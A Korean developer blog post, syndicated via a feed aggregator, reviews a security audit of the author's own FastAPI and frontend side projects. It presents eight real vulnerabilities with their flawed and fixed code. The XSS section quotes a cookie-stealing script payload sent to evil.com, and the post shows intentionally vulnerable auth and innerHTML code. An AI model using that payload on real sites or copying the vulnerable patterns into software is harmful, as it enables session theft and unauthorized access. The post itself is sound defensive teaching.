惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Hacker News: Ask HN
Hacker News: Ask HN
WordPress大学
WordPress大学
H
Help Net Security
小众软件
小众软件
N
Netflix TechBlog - Medium
C
Check Point Blog
量子位
Last Week in AI
Last Week in AI
GbyAI
GbyAI
Martin Fowler
Martin Fowler
M
MIT News - Artificial intelligence
博客园 - 聂微东
Engineering at Meta
Engineering at Meta
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
J
Java Code Geeks
D
DataBreaches.Net
Project Zero
Project Zero
P
Proofpoint News Feed
T
Threat Research - Cisco Blogs
Security Latest
Security Latest
Cisco Talos Blog
Cisco Talos Blog
Recorded Future
Recorded Future
I
Intezer
L
Lohrmann on Cybersecurity
Cyberwarzone
Cyberwarzone
博客园_首页
C
Cyber Attacks, Cyber Crime and Cyber Security
L
LangChain Blog
P
Palo Alto Networks Blog
V
V2EX
D
Darknet – Hacking Tools, Hacker News & Cyber Security
T
The Exploit Database - CXSecurity.com
The Hacker News
The Hacker News
Blog — PlanetScale
Blog — PlanetScale
G
GRAHAM CLULEY
T
The Blog of Author Tim Ferriss
C
Cisco Blogs
The Register - Security
The Register - Security
L
LINUX DO - 热门话题
P
Privacy & Cybersecurity Law Blog
Scott Helme
Scott Helme
F
Full Disclosure
博客园 - 司徒正美
Recent Announcements
Recent Announcements
IT之家
IT之家
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Attack and Defense Labs
Attack and Defense Labs
Cloudbric
Cloudbric
Help Net Security
Help Net Security
The Last Watchdog
The Last Watchdog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
내 사이드 프로젝트 보안 감사 결과 — 부끄럽지만 공유합니다
JustJinoIT · 2026-06-16 · via DEV Community
Cover image for 내 사이드 프로젝트 보안 감사 결과 — 부끄럽지만 공유합니다

JustJinoIT

내 사이드 프로젝트 보안 감사 결과 — 부끄럽지만 공유합니다

최근 내가 운영 중인 사이드 프로젝트 전체를 보안 감사했다. FastAPI 백엔드, 텔레그램 봇, PWA, Streamlit 앱 등 여러 개.

"나름 신경 써서 만들었으니까 괜찮겠지"라고 생각했다.

틀렸다.

발견한 문제 하나하나, 왜 그렇게 짰는지, 어떻게 고쳤는지 솔직하게 공유한다. 이론적인 체크리스트가 아니라 실제로 내가 프로덕션에 배포했던 버그들이다.


1. 빈 시크릿으로 인한 인증 우회 (Critical)

내가 짠 코드

_API_SECRET = os.environ.get('API_SECRET_KEY', '')

def verify_api_key(x_api_key: str = Header(default='')):
    if _API_SECRET and x_api_key != _API_SECRET:  # ← 여기가 버그
        raise HTTPException(status_code=401)

if _API_SECRET and ... 조건을 보자. 서버에 API_SECRET_KEY 환경변수가 없으면 _API_SECRET은 빈 문자열 — falsy — 이 되어 조건 전체가 스킵된다. 모든 요청이 인증된 것처럼 통과한다.

왜 이렇게 짰나

로컬 개발 시 환경변수 안 세팅해도 서버가 죽지 않게 "우아하게 처리"하려고 했다. 문제는 그 "우아한 처리"가 프로덕션까지 올라갔고, 서버에 API_SECRET_KEY를 설정 안 한 순간 API 전체가 열렸다는 것이다.

수정 방법

_API_SECRET = os.environ.get('API_SECRET_KEY', '')

def verify_api_key(x_api_key: str = Header(default='')):
    if not _API_SECRET:
        raise HTTPException(status_code=500, detail='API_SECRET_KEY not configured')
    if not secrets.compare_digest(x_api_key, _API_SECRET):
        raise HTTPException(status_code=401, detail='Unauthorized')

시크릿 없음 = 500 에러, 오픈 액세스가 아님. 타이밍 어택 방지를 위해 secrets.compare_digest()도 적용.

교훈: 인증을 시크릿 설정 여부에 따라 조건부로 만들지 마라. 설정 누락은 오픈이 아니라 하드 실패여야 한다.


2. Git 이력에 커밋된 시크릿 (Critical)

현재 코드에는 없지만 몇 달 전 "잠깐 테스트"하려고 커밋한 API 키가 git 이력에 그대로 있었다.

# 확인 방법
git log --all -p | grep -E "sk-ant-api03-[A-Za-z0-9_-]{20,}"
git log --all -p | grep -E "AIzaSy[A-Za-z0-9]{20,}"

왜 이런 일이 생기나

초반에 빠르게 테스트하려고 키를 하드코딩하고 커밋. 나중에 .env로 옮기면서 "고쳤다"고 생각한다. 하지만 git은 모든 커밋을 영원히 기억한다. 리포가 공개되거나 팀원이 합류하면 누구나 과거 커밋에서 키를 꺼낼 수 있다.

수정 방법

# 특정 파일을 이력 전체에서 제거
pip install git-filter-repo
git-filter-repo --path .env --invert-paths --force
git push --force-with-lease origin main

그리고 노출된 키는 즉시 폐기 + 재발급. git 이력을 정리한다고 이미 일어난 노출이 취소되지는 않는다.

교훈: git에 한 번이라도 커밋된 키는 이미 탈취됐다고 가정하고 재발급한다.


3. 디버그 엔드포인트 프로덕션 배포 (High)

이런 엔드포인트가 운영 서버에 배포되어 있었다:

@app.get('/debug/config')
async def debug_config():
    return {
        'supabase_url': settings.supabase_url,
        'environment': settings.env,
        'connected_services': [...]
    }

왜 이런 일이 생기나

개발 중에는 디버그 엔드포인트가 정말 편하다. 막힌 부분 해결하고 나서 지우는 걸 잊는다. 에러가 나지 않으니 아무도 알려주지 않는다.

수정 방법

지운다. 런타임 디버그가 필요하면 인증 뒤에 두거나 로그를 쓴다.

# 배포 전 체크
grep -rn '@app.get.*debug\|@app.post.*debug' app/

교훈: 배포 체크리스트에 "디버그 엔드포인트 제거 확인" 항목을 추가한다. 아니면 애초에 안 만드는 게 낫다.


4. 에러 메시지로 내부 정보 노출 (High)

# 내가 짠 코드
except Exception as e:
    return JSONResponse({"error": str(e)}, status_code=500)

이러면 클라이언트에 이런 메시지가 그대로 내려간다:

  • FATAL: password authentication failed for user "postgres"
  • [Errno 2] No such file or directory: '/home/ubuntu/app/config.json'
  • Module 'xyz' version 1.2.3 has no attribute 'connect'

공격자는 이 정보로 인프라 구조, 사용 중인 라이브러리, 버전별 알려진 취약점을 파악할 수 있다.

왜 이렇게 짰나

이것도 개발 편의 때문이다. str(e) 하나로 에러 원인을 바로 볼 수 있어서 테스트할 때 편하다. 내부 에러와 HTTP 응답 사이에 레이어를 두지 않은 것이 문제였다.

수정 방법

import logging
logger = logging.getLogger(__name__)

except Exception as e:
    logger.error(f"Error: {e}", exc_info=True)  # 서버 로그에만
    return JSONResponse({"error": "internal server error"}, status_code=500)

로그에는 모든 것을, HTTP 응답에는 아무것도 주지 않는다.

교훈: 서버 로그는 나를 위한 것이고, HTTP 에러 응답은 클라이언트를 위한 것이다. 이 두 개는 완전히 분리되어야 한다.


5. 이스케이프 없는 innerHTML로 XSS (High)

프론트엔드 코드:

articles.forEach(article => {
    container.innerHTML += `
        <h3>${article.title}</h3>
        <p>${article.summary}</p>
        <a href="${article.url}">더 보기</a>
    `;
});

DB에 <script>document.location='https://evil.com?c='+document.cookie</script> 같은 제목이 들어오면 모든 사용자의 브라우저에서 실행된다.

왜 이런 일이 생기나

템플릿 리터럴이 문자열 포매팅처럼 느껴지기 때문이다. ${article.title} 을 쓸 때 HTML을 렌더링하고 있다는 느낌이 안 든다. 그냥 변수 넣는 것처럼 느껴진다. 하지만 브라우저는 거기서 HTML을 파싱하고 실행한다.

수정 방법

const esc = s => (s || '')
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;');

const safeUrl = u => /^https?:\/\//.test(u || '') ? u : '#';

container.innerHTML += `
    <h3>${esc(article.title)}</h3>
    <p>${esc(article.summary)}</p>
    <a href="${safeUrl(article.url)}" rel="noopener noreferrer">더 보기</a>
`;

교훈: innerHTML을 쓸 때마다 "나는 지금 임의의 코드를 실행하고 있다"고 머릿속으로 바꿔 읽는다. 그러면 이스케이프를 빠뜨리기 어렵다.


6. AI 엔드포인트에 Rate Limit 없음 (High)

@app.post('/analyze')
async def analyze(item: Item, _: None = Depends(verify_api_key)):
    result = await ai_client.messages.create(...)  # 호출당 비용 발생
    return result

Rate limit 없음. API 키가 탈취되거나 클라이언트 코드가 루프에서 무한 호출하면 순식간에 큰 비용이 청구된다.

수정 방법

from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter

@app.post('/analyze')
@limiter.limit('10/minute')
async def analyze(request: Request, item: Item, _: None = Depends(verify_api_key)):
    ...

교훈: 인증은 비허가된 접근을 막는다. Rate limit은 허가됐지만 남용하는 접근을 막는다. 둘 다 필요하다.


7. 프로덕션에 CORS 와일드카드 (Medium)

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],  # 모든 출처 허용
    ...
)

API 키가 있어도 왜 위험한가

CORS는 브라우저 수준의 방화벽이다. API 키가 프론트엔드 JavaScript에 있는 경우, 다른 사이트의 XSS 취약점을 통해 사용자 브라우저에서 그 키를 이용한 API 호출이 가능하다.

수정 방법

import os

ALLOWED_ORIGINS = os.environ.get('ALLOWED_ORIGINS', '*').split(',')

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,
    allow_methods=['GET', 'POST'],
    allow_headers=['X-API-Key', 'Content-Type'],
)

# 프로덕션 .env
ALLOWED_ORIGINS=https://myapp.vercel.app

교훈: allow_origins=["*"]는 로컬 개발 전용이다. 절대 배포하지 않는다.


8. 임시 파일 미삭제 (Medium)

with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
    tmp.write(uploaded_file.read())
    tmp_path = tmp.name

process_file(tmp_path)  # 여기서 예외 발생하면 임시 파일이 영원히 남음

process_file()에서 예외가 터지면 임시 파일이 지워지지 않는다. 장기 운영 서버에서 누적되고, 파일에 사용자 민감 데이터가 있으면 디스크에 계속 남아 있다.

수정 방법

tmp_path = None
with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
    tmp.write(uploaded_file.read())
    tmp_path = tmp.name
try:
    process_file(tmp_path)
finally:
    if tmp_path and os.path.exists(tmp_path):
        os.unlink(tmp_path)

교훈: 파일을 만드는 코드 경로는 반드시 삭제도 책임진다. finally는 예외가 나도 반드시 실행된다.


내가 지금 따르는 체크리스트

이번 감사 이후 모든 프로젝트에 강제 적용하는 체크리스트를 만들었다:

코드 작성 전:

  • [ ] .gitignore 생성 (.env, *.key, sessions/, credentials.json)
  • [ ] .env.example 생성 (실제 값 없는 템플릿)

모든 엔드포인트:

  • [ ] 인증 추가 (시크릿 없으면 우회가 아닌 500 에러)
  • [ ] 에러 응답은 제네릭 메시지만 (str(e) 금지)
  • [ ] AI/비용 발생 엔드포인트에 rate limit

프론트엔드:

  • [ ] 모든 innerHTML 사용에 이스케이프 처리
  • [ ] URL은 https://로 시작하는지 검증
  • [ ] 외부 링크에 rel="noopener noreferrer"

커밋 전:

git diff --cached | grep -E "AIzaSy|password\s*=\s*[^\$\{]"
git diff --cached --name-only | grep -E "^\.env"

배포 전:

pip-audit -r requirements.txt
npm audit


왜 이것들을 놓쳤나

솔직히 말하면: 보안을 기능 개발 이후의 별도 단계로 취급했기 때문이다.

패턴은 항상 같았다:

  1. 일단 기능 동작시키기
  2. TODO 주석 달기: "나중에 정리하자"
  3. 나중은 오지 않음
  4. "임시" 코드 그대로 배포

보안 이슈는 의도적으로 만들어지는 게 아니다. "나중에 고치려던" 코드가 쌓인 결과물이다. 내가 찾은 유일한 해법은 보안 체크를 자연스러운 타이밍에 끼워 넣는 것이다: 커밋 전, 배포 전, 프로젝트 시작 시점.

버그 자체는 지루하다. 사후 수습 비용은 그렇지 않다.


FastAPI나 비슷한 백엔드를 운영 중이라면 위 패턴으로 직접 확인해보는 걸 권장한다. if _SECRET and key != _SECRET 인증 우회는 생각보다 훨씬 흔하다.